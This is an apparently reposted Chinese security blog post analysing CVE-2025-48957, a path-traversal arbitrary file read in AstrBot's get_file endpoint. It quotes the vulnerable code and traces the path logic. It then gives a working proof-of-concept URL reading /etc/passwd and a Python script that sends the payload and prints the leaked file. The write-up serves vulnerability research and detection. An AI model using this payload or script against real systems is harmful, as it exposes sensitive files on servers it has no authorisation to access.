文章总结: 文档分析AstrBot3.4.4至3.5.12版本任意文件读取漏洞CVE-2025-48957。漏洞源于get_file方法未对filename参数过滤,导致攻击者可利用路径遍历读取敏感文件。文章解析了代码逻辑,提供了复现POC及Python检测脚本,验证了漏洞危害。 综合评分: 91 文章分类: 漏洞分析,WEB安全,漏洞POC
AstrBot任意文件读取漏洞漏洞详细分析及复现(CVE-2025-48957)
Gscsed Gscsed
船山信安
2026年1月27日 18:06 河北
漏洞说明
AstrBot是AstrBot开源的一个多平台 LM 聊天机器人及开发框架。AstrBot 3.4.4至3.5.12版本存在安全漏洞,该漏洞源于路径遍历缺陷,可能导致敏感信息泄露。
影响版本
3.4.4至3.5.12
代码结构
-
astrbot:核心代码
-
api:未开发插件设计的模块和工具,方便插件进行导入和使用
-
core:核心代码
-
dashboard:WebUI后端代码
-
changelogs:更新日志
-
dashboard:WebUI后端代码
-
packages:保留插件
-
tests:测试代码
-
main.py:主程序入口
分析
漏洞成因
根据网上的poc分析源码,找到get_file方法,在AstrBot-3.5.12/dashboard/routes/chat.py中
async def get_file(self):
filename = request.args.get("filename")
if not filename:
return Response().error("Missing key: filename").__dict__
try:
with open(os.path.join(self.imgs_dir, filename), "rb") as f:
if filename.endswith(".wav"):
return QuartResponse(f.read(), mimetype="audio/wav")
elif filename.split(".")[-1] in self.supported_imgs:
return QuartResponse(f.read(), mimetype="image/jpeg")
else:
return QuartResponse(f.read())
except FileNotFoundError:
return Response().error("File not found").__dict__
首先分析这段代码,获取文件名:从查询参数中获取“filename”,如果没有提供文件名返回错误;打开并返回文件:尝试在self.imgs_dir目录下打开文件,使用with语句确保文件正确关闭;根据文件类型设置:如果是.wav音频文件则设置MIME类型为“audio/wav”,如果是图片格式(检查拓展名是否在self.supported_imgs中)则设置MIME类型为“image/jpeg”,其他文件类型不指定MIME类型,让Quart自动判断,错误处理:如果文件不存在,则返回File not found。
在上面的代码中可以知道并没有对文件名进行检查,而且f.read()一次性读取整个文件到内存,包括使用split(“.”)[-1]获取拓展名,对于没有拓展名或点开头的文件名会出现错误
当然不能光是判断文件名这些,要找到获取文件路径的位置
self.imgs_dir = os.path.join(get_astrbot_data_path(), "webchat", "imgs")
可以跟踪一下看看这个get_astrbot_data_path()在什么位置被定义了(这个函数获取AstrBot应用程序数据存储根目录)
也可以使用ctrl+鼠标左键对准这个函数即可跳转到声明
文件位置为AstrBot-3.5.12/astrbot/core/utils/astrbot_path.py
def get_astrbot_root() -> str:
"""获取Astrbot根目录路径"""
if path := os.environ.get("ASTRBOT_ROOT"):
return os.path.realpath(path)
else:
return os.path.realpath(os.getcwd())
def get_astrbot_data_path() -> str:
"""获取Astrbot数据目录路径"""
return os.path.realpath(os.path.join(get_astrbot_root(), "data"))
get_astrbot_root()
这里是获取根目录的一个路径,先使用环境变量ASTRBOT_ROOT指定路径,若没有设置环境变量,则返回当前工作目录os.getcwd()
当然返回值是绝对路径(通过os.path.realpath解析符号链接并标准化)
get_astrbot_data_path()
跟上面一个函数的逻辑是一样的,不过多了一个os.path.join(),路径拼接一个data子目录
然后通过路径标准化:解析符号链接->转换为绝对路径->规范化路径格式(移除./,../等)
根据以上分析,直接使用/api/chat/get_file?filename=就可以去构成一个任意文件读取
POC
xxxx/api/chat/get_file?filename=../../../../etc/passwd
脚本
import requests
import argparse
from urllib.parse import quote
def check_vulnerability(url):
payloads = [
"../../../../etc/passwd"
]
for payload in payloads:
try:
target_url = f"{url}?filename={quote(payload)}"
response = requests.get(
target_url,
timeout=10,
headers={'User-Agent': 'SecurityScanner/1.0'}
)
if response.status_code == 200 and "root:x:0" in response.text:
print("\n")
print(response.text)
return True
except Exception as e:
print(f"[-] 测试失败 ({payload}): {str(e)}")
print("未检测到漏洞")
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2025-48957")
parser.add_argument("url", help="目标URL (例如: http://example.com/api/get_file)")
args = parser.parse_args()
if not args.url.startswith(("http://", "https://")):
print("[!] 请提供完整的URL (以http://或https://开头)")
exit(1)
check_vulnerability(args.url)
测试成果
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:船山信安 Gscsed Gscsed《AstrBot任意文件读取漏洞漏洞详细分析及复现(CVE-2025-48957)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论